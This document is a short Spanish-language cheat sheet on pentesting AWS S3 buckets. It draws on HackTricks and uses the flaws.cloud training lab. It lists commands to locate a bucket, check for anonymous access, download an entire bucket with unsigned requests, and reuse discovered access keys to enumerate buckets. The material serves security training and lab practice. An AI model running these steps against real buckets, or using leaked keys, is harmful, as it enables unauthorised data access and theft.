Pentesting S3 Buckets

AWS - S3 Unauthenticated Enum - HackTricks Cloud

Para saber si es un bucket

Encontrar el bucket

nslookup IP

Si la respuesta contiene website (por ejemplo s3-website-us-west-2.amazonaws.com ) entonces el bucket está en DOMINIO.s3-website-us-west-2.amazonaws.com

Comprobar acceso anónimo

Para ver si el bucket está abierto a todo el mundo (Everyone) , buscamo su url en el navegador, listará los top 1000 objetos que se han guardado:

flaws.cloud.s3.amazonaws.com

Para comprobar si está abierto a Any Authenticathed User :

aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/

Buscar secretos & Usarlos

Descargarse todo el bucket

aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2

Usar Access Key y Secret Key

aws configure --profile ctf

whoami

aws sts get-caller-identity --profile ctf

Listar S3

aws s3 ls --profile ctf

No hay forma de hacer que una persona solo pueda listar el nombre de algunos buckets, puede listarlos todos si tiene la clave, pero se puede limitar que pueda listar o no su contenido.

Listar S3

aws s3 ls s3://[nombre-del-bucket] --profile ctf